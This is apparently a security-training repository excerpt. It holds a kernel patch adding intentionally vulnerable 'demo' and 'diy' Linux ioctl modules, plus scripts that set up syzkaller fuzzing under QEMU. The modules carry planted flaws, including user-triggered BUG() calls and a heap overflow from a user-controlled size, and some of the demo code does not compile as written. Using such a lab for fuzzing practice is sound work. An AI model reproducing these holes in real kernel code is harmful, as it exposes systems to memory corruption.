&demo_ops 177 | +}; 178 | + 179 | +struct demo_struct { 180 | + int flags; 181 | + int name_len; 182 | + char name[]; 183 | +}; 184 | + 185 | +long int demo_ioctl(struct file* fp, unsigned int cmd, unsigned long arg){ 186 | + struct demo_struct *kernel_struct; 187 | + char* kernel_buffer; 188 | + unsigned long var; 189 | + switch(cmd){ 190 | + case IOCTL_DEMO_NORMAL: 191 | + pr_info("Normal IOCTL"); 192 | + break; 193 | + case IOCTL_DEMO_BUG: 194 | + if(get_user(var, (unsigned long*) arg)) 195 | + return -EFAULT; 196 | + if(var == 31337) 197 | + BUG(); 198 | + break; 199 | + case IOCTL_DEMO_KASAN: 200 | + kernel_struct = kmalloc( sizeof(struct demo_struct) , GFP_KERNEL); 201 | + if(!user_struct) 202 | + return -ENOMEM; 203 | + if(copy_from_user(kernel_struct, (void* __user) arg + sizeof(demo_struct), kernel_struct.name_len)){ 204 | + return -EFAULT; 205 | + } 206 | + if(copy_from_user(kernel_buffer, (void*) arg, sizeof(struct demo_struct))){ 207 | + return -EFAULT; 208 | + } 209 | + if(!(user_struct->flags & DEMO_FLAG1)) 210 | + return -EINVAL; 211 | + 212 | + break; 213 | + default: 214 | + break; 215 | + } 216 | + return 0; 217 | +} 218 | + 219 | +int demo_open(struct inode* inode, struct file* file){ 220 | + return 0; 221 | +} 222 | + 223 | +int demo_release(struct inode* inode, struct file* file){ 224 | + return 0; 225 | +} 226 | + 227 | +int demo_init(void){ 228 | + int err = 0; 229 | + err = misc_register(&demo_miscdev); 230 | + if(err){ 231 | + pr_err("Error registering demo module"); 232 | + return err; 233 | + } 234 | + pr_info("Demo module registered"); 235 | + return 0; 236 | +} 237 | + 238 | +void demo_exit(void){ 239 | + misc_deregister(&demo_miscdev); 240 | +} 241 | + 242 | + 243 | +ssize_t demo_read(struct file* file, char __user* buf, size_t count, loff_t* pos){ 244 | + return 0; 245 | +} 246 | +ssize_t demo_write(struct file* fie, const char __user* buf, size_t count, loff_t* pos){ 247 | + return 0; 248 | +} 249 | + 250 | +module_init(demo_init); 251 | +module_exit(demo_exit); 252 | + 253 | +MODULE_LICENSE("GPL"); 254 | +MODULE_AUTHOR("Alessandro (@kiks) Groppo - Hacktive Security"); 255 | diff --git a/drivers/syzdiy/Kconfig b/drivers/syzdiy/Kconfig 256 | new file mode 100644 257 | index 000000000..a78ea3be3 258 | --- /dev/null 259 | +++ b/drivers/syzdiy/Kconfig 260 | @@ -0,0 +1,8 @@ 261 | +# SPDX-License-Identifier: GPL-2.0-only 262 | +# 263 | +# Vulnerable demo configuration 264 | +# 265 | +config VULNERABLE_DIY 266 | + bool "Vulnerable Do It Yourseld module for syzkaller" 267 | + help 268 | + Vulnerable DIY module 269 | diff --git a/drivers/syzdiy/Makefile b/drivers/syzdiy/Makefile 270 | new file mode 100644 271 | index 000000000..6b6c1eae5 272 | --- /dev/null 273 | +++ b/drivers/syzdiy/Makefile 274 | @@ -0,0 +1 @@ 275 | +obj-$(CONFIG_VULNERABLE_DIY) += diy.o 276 | diff --git a/drivers/syzdiy/diy.c b/drivers/syzdiy/diy.c 277 | new file mode 100644 278 | index 000000000..0861dfc25 279 | --- /dev/null 280 | +++ b/drivers/syzdiy/diy.c 281 | @@ -0,0 +1,111 @@ 282 | +#include 283 | +#include 284 | +#include 285 | +#include 286 | +#include 287 | + 288 | +static const struct file_operations diy_ops = { 289 | + .open = diy_open, 290 | + .release = diy_release, 291 | + .read = diy_read, 292 | + .write = diy_write, 293 | + .unlocked_ioctl = diy_ioctl 294 | +}; 295 | + 296 | +static struct miscdevice diy_miscdev = { 297 | + .minor = MISC_DYNAMIC_MINOR, 298 | + .name = "diy", 299 | + .fops = &diy_ops 300 | +}; 301 | + 302 | +struct diy_struct_two { 303 | + int att1; 304 | + int att2; 305 | + int att3; 306 | + int att4; 307 | +}; 308 | + 309 | +struct diy_struct_three { 310 | + int cmd; 311 | + int size; 312 | + char buf[]; 313 | +}; 314 | + 315 | +long int diy_ioctl(struct file* fp, unsigned int cmd, unsigned long arg){ 316 | + struct diy_struct_two local_two; 317 | + struct diy_struct_three* local_three; 318 | + struct diy_struct_three* new_local_three; 319 | + 320 | + switch(cmd){ 321 | + case IOCTL_DIY_ONE: 322 | + pr_info("OK"); 323 | + break; 324 | + case IOCTL_DIY_TWO: 325 | + if(copy_from_user(&local_two, (void*) arg, sizeof(struct diy_struct_two))) 326 | + return -EFAULT; 327 | + if(local_two.att1 != 1) 328 | + return -EINVAL; 329 | + if(local_two.att2 != 2) 330 | + return -EINVAL; 331 | + if(local_two.att3 != 3) 332 | + return -EINVAL; 333 | + if(local_two.att4 != 4) 334 | + return -EINVAL; 335 | + BUG(); 336 | + break; 337 | + case IOCTL_DIY_THREE: 338 | + local_three = kmalloc(sizeof(struct diy_struct_three), GFP_KERNEL); 339 | + if(copy_from_user(local_three, (void*) arg, sizeof(struct diy_struct_three))) 340 | + return -EFAULT; 341 | + 342 | + if(local_three->cmd == CMD_THREE_1 || local_three->cmd == CMD_THREE_2){ 343 | + new_local_three = kmalloc(local_three->size, GFP_KERNEL); 344 | + kfree(local_three); 345 | + local_three = new_local_three; 346 | + if(__copy_from_user(local_three, (void*) arg, sizeof(struct diy_struct_three) + local_three->size)) 347 | + return -EFAULT; 348 | + } 349 | + kfree(local_three); 350 | + break; 351 | + default: 352 | + break; 353 | + } 354 | + return 0; 355 | +} 356 | + 357 | +int diy_open(struct inode* inode, struct file* file){ 358 | + return 0; 359 | +} 360 | + 361 | +int diy_release(struct inode* inode, struct file* file){ 362 | + return 0; 363 | +} 364 | + 365 | +int diy_init(void){ 366 | + int err = 0; 367 | + err = misc_register(&diy_miscdev); 368 | + if(err){ 369 | + pr_err("Error registering diy module"); 370 | + return err; 371 | + } 372 | + pr_info("DIY module registered"); 373 | + return 0; 374 | +} 375 | + 376 | +void diy_exit(void){ 377 | + misc_deregister(&diy_miscdev); 378 | +} 379 | + 380 | +ssize_t diy_read(struct file* file, char __user* buf, size_t count, loff_t* pos){ 381 | + return 0; 382 | +} 383 | +ssize_t diy_write(struct file* fie, const char __user* buf, size_t count, loff_t* pos){ 384 | + return 0; 385 | +} 386 | + 387 | +module_init(diy_init); 388 | +module_exit(diy_exit); 389 | + 390 | +MODULE_LICENSE("GPL"); 391 | +MODULE_AUTHOR("Alessandro (@kiks) Groppo - Hacktive Security"); 392 | +MODULE_DESCRIPTION("Do It Yourself vulnerable module"); 393 | diff --git a/include/syz/syz_demo_diy.h b/include/syz/syz_demo_diy.h 394 | new file mode 100644 395 | index 000000000..35cda1c0c 396 | --- /dev/null 397 | +++ b/include/syz/syz_demo_diy.h 398 | @@ -0,0 +1,33 @@ 399 | +#include 400 | +#include 401 | +#include 402 | +#include 403 | + 404 | +/* Demo */ 405 | +#define IOCTL_DEMO_NORMAL 0xFF1 406 | +#define IOCTL_DEMO_BUG 0xFF2 407 | +#define IOCTL_DEMO_KASAN 0xFF3 408 | +#define DEMO_FLAG1 0x0020 409 | +#define DEMO_FLAG2 0x0040 410 | +int demo_open(struct inode*, struct file*); 411 | +int demo_release(struct inode*, struct file*); 412 | +int demo_init(void); 413 | +void demo_exit(void); 414 | +long int demo_ioctl(struct file*, unsigned int, unsigned long); 415 | +ssize_t demo_read(struct file*, char __user*, size_t, loff_t*); 416 | +ssize_t demo_write(struct file*, const char __user*, size_t, loff_t*); 417 | + 418 | +/* DIY */ 419 | +#define IOCTL_DIY_ONE 0x41 420 | +#define IOCTL_DIY_TWO 0x42 421 | +#define IOCTL_DIY_THREE 0x43 422 | +#define CMD_THREE_1 0x100 423 | +#define CMD_THREE_2 0x200 424 | +#define CMD_THREE_3 0x300 425 | +int diy_open(struct inode*, struct file*); 426 | +int diy_release(struct inode*, struct file*); 427 | +int diy_init(void); 428 | +void diy_exit(void); 429 | +long int diy_ioctl(struct file*, unsigned int, unsigned long); 430 | +ssize_t diy_read(struct file*, char __user*, size_t, loff_t*); 431 | +ssize_t diy_write(struct file*, const char __user*, size_t, loff_t*); 432 | -------------------------------------------------------------------------------- /setup.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | set -ex 3 | 4 | MOUNT_PATH=/mnt/kernel-mnt-image/ 5 | KERNEL_VERSION=6.4 6 | KERNEL_PARENT_FOLDER=$PWD/kernel/ 7 | KERNEL_FOLDER=$PWD/kernel/linux-$KERNEL_VERSION 8 | KERNEL_IMAGE=$KERNEL_FOLDER/arch/x86_64/boot/bzImage 9 | KERNEL_EXTRA_CONFIGS=$PWD/kernel/kernel-configs/extra-debug.config 10 | IMAGE_FOLDER=$PWD/image/ 11 | IMAGE_FOLDER_CHROOT=$IMAGE_FOLDER/chroot/ 12 | IMAGE=$IMAGE_FOLDER/bullseye.img 13 | # apt dependencies 14 | sudo apt update 15 | sudo apt install -y debootstrap qemu-system build-essential libncurses-dev bison flex libssl-dev libelf-dev bc git make 16 | 17 | 18 | # setup 19 | sudo mkdir -p $MOUNT_PATH 20 | 21 | # compile kernel 22 | helpers/kernel/get-and-compile-kernel.sh $KERNEL_VERSION $KERNEL_PARENT_FOLDER $KERNEL_EXTRA_CONFIGS 23 | # get debian image from syzkaller repo 24 | helpers/image/get-syzkaller-image.sh $IMAGE_FOLDER 25 | # get and compile KRWX 26 | helpers/kernel/get-and-compile-KRWX.sh $KERNEL_FOLDER $KERNEL_PARENT_FOLDER $IMAGE_FOLDER_CHROOT 27 | 28 | # Configure main script ./start.sh 29 | ESC_MOUNT_PATH=$(echo "$MOUNT_PATH" | sed 's/[\/&]/\\&/g') 30 | ESC_KERNEL_IMAGE=$(echo "$KERNEL_IMAGE" | sed 's/[\/&]/\\&/g') 31 | ESC_IMAGE_FOLDER=$(echo "$IMAGE_FOLDER" | sed 's/[\/&]/\\&/g') 32 | sed -e "s/TODO_MOUNT_PATH/$ESC_MOUNT_PATH/g" -e "s/TODO_KERNEL/$ESC_KERNEL_IMAGE/g" -e "s/TODO_IMAGE_FOLDER/$ESC_IMAGE_FOLDER/g" helpers/userland/start.sh > start.sh 33 | chmod +x start.sh 34 | 35 | echo "[+] Setup completed. Execute \`./start.sh ./code/hello_world.c\` and then \`/.run\` inside the qemu machine for a first quick test!" 36 | -------------------------------------------------------------------------------- /setup_syzkaller_demo.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | set -ex 3 | 4 | KERNEL_VERSION=6.10 5 | STARTING_FOLDER=$PWD 6 | WORKING_DIRECTORY=$PWD/working/ 7 | KERNEL_PARENT_FOLDER=$WORKING_DIRECTORY/kernel/ 8 | KERNEL_FOLDER=$WORKING_DIRECTORY/kernel/linux-$KERNEL_VERSION 9 | KERNEL_IMAGE=$KERNEL_FOLDER/arch/x86_64/boot/bzImage 10 | KERNEL_EXTRA_CONFIGS=$PWD/kernel/kernel-configs/extra-syzkaller.config 11 | IMAGE_FOLDER=$WORKING_DIRECTORY/image/ 12 | IMAGE=$IMAGE_FOLDER/bullseye.img 13 | 14 | mkdir -p $WORKING_DIRECTORY 15 | mkdir -p $KERNEL_PARENT_FOLDER 16 | mkdir -p $IMAGE_FOLDER 17 | 18 | # apt dependencies 19 | sudo apt update 20 | sudo apt install -y debootstrap qemu-system build-essential libncurses-dev bison flex libssl-dev libelf-dev bc git make clang-15 docker.io qemu-system 21 | 22 | # compile kernel 23 | NOHAT_PATCH=Y CC=gcc helpers/kernel/get-and-compile-kernel.sh $KERNEL_VERSION $KERNEL_PARENT_FOLDER $KERNEL_EXTRA_CONFIGS 24 | #helpers/kernel/get-and-compile-kernel.sh $KERNEL_VERSION $KERNEL_PARENT_FOLDER $KERNEL_EXTRA_CONFIGS 25 | # get debian image from syzkaller repo 26 | helpers/image/get-syzkaller-image.sh $IMAGE_FOLDER 27 | 28 | # Configure syzkaller 29 | # install go 30 | 31 | if ! command -v go &> /dev/null 32 | then 33 | cd 34 | wget https://go.dev/dl/go1.22.1.linux-amd64.tar.gz 35 | tar -xvf go*-amd64.tar.gz 36 | mkdir gopath 37 | export GOROOT=~/go 38 | export PATH=$GOROOT/bin:$PATH 39 | export GOPATH=~/gopath/ 40 | echo export GOROOT=~/go >> ~/.bashrc 41 | echo export PATH=$GOROOT/bin:$PATH >> ~/.bashrc 42 | echo export GOPATH=~/gopath/ >> ~/.bashrc 43 | go version 44 | source ~/.bashrc 45 | cd - 46 | else 47 | echo "Go is already installed. Know that currently the latest syzkaller version requires go 1.23!" 48 | fi 49 | 50 | cd $WORKING_DIRECTORY 51 | 52 | # clean previous directory 53 | rm -rf syzkaller/ 54 | git clone https://github.com/google/syzkaller 55 | cd syzkaller 56 | git checkout e1ac59f4ea80a1bbd000a998317a5321e6723b8f 57 | tools/syz-env make 58 | 59 | cat << EOF > ./config.json 60 | { 61 | "target": "linux/amd64", 62 | "http": "0.0.0.0:56741", 63 | "syzkaller": "./", 64 | "workdir": "./workdir", 65 | "kernel_obj": "../kernel/linux-$KERNEL_VERSION/", 66 | "image": "../image/bullseye.img", 67 | "sshkey": "../image/bullseye.id_rsa", 68 | "procs": 4, 69 | "type": "qemu", 70 | "vm": { 71 | "qemu_args": "-enable-kvm", 72 | "cmdline": "net.ifnames=0 panic_on_warn=1", 73 | "count": 2, 74 | "cpu": 2, 75 | "mem": 4096, 76 | "kernel": "../kernel/linux-$KERNEL_VERSION//arch/x86/boot/bzImage" 77 | } 78 | } 79 | EOF 80 | 81 | cat << EOF > ./config_syzdemo.json 82 | { 83 | "target": "linux/amd64", 84 | "http": "0.0.0.0:56741", 85 | "syzkaller": "./", 86 | "workdir": "./workdir", 87 | "kernel_obj": "../kernel/linux-$KERNEL_VERSION/", 88 | "image": "../image/bullseye.img", 89 | "sshkey": "../image/bullseye.id_rsa", 90 | "procs": 4, 91 | "type": "qemu", 92 | "enable_syscalls":[ 93 | "openat\$demo", 94 | "ioctl\$IOCTL_DEMO_NORMAL", 95 | "ioctl\$IOCTL_DEMO_BUG", 96 | "ioctl\$IOCTL_DEMO_KASAN" 97 | ], 98 | "vm": { 99 | "qemu_args": "-enable-kvm", 100 | "cmdline": "net.ifnames=0 panic_on_warn=1", 101 | "count": 2, 102 | "cpu": 2, 103 | "mem": 4096, 104 | "kernel": "../kernel/linux-$KERNEL_VERSION/arch/x86/boot/bzImage" 105 | } 106 | } 107 | EOF 108 | 109 | cd ../ 110 | cat << EOF > ./run.sh 111 | export KERNEL=./kernel/linux-$KERNEL_VERSION/ 112 | export IMAGE=./image/ 113 | 114 | qemu-system-x86_64 \\ 115 | -m 2G \\ 116 | -smp 2 \\ 117 | -kernel \$KERNEL/arch/x86/boot/bzImage \\ 118 | -append "console=ttyS0 root=/dev/sda earlyprintk=serial net.ifnames=0" \\ 119 | -drive file=\$IMAGE/bullseye.img,format=raw \\ 120 | -net user,host=10.0.2.10,hostfwd=tcp:127.0.0.1:10021-:22 \\ 121 | -net nic,model=e1000 \\ 122 | -enable-kvm \\ 123 | -snapshot \\ 124 | -nographic \\ 125 | -pidfile vm.pid \\ 126 | 2>&1 | tee vm.log 127 | EOF 128 | chmod +x run.sh 129 | 130 | cd $STARTING_FOLDER 131 | 132 | # Configure main script ./start.sh 133 | echo "[+] Setup completed. You should find everything in the ./working/ directory" 134 | --------------------------------------------------------------------------------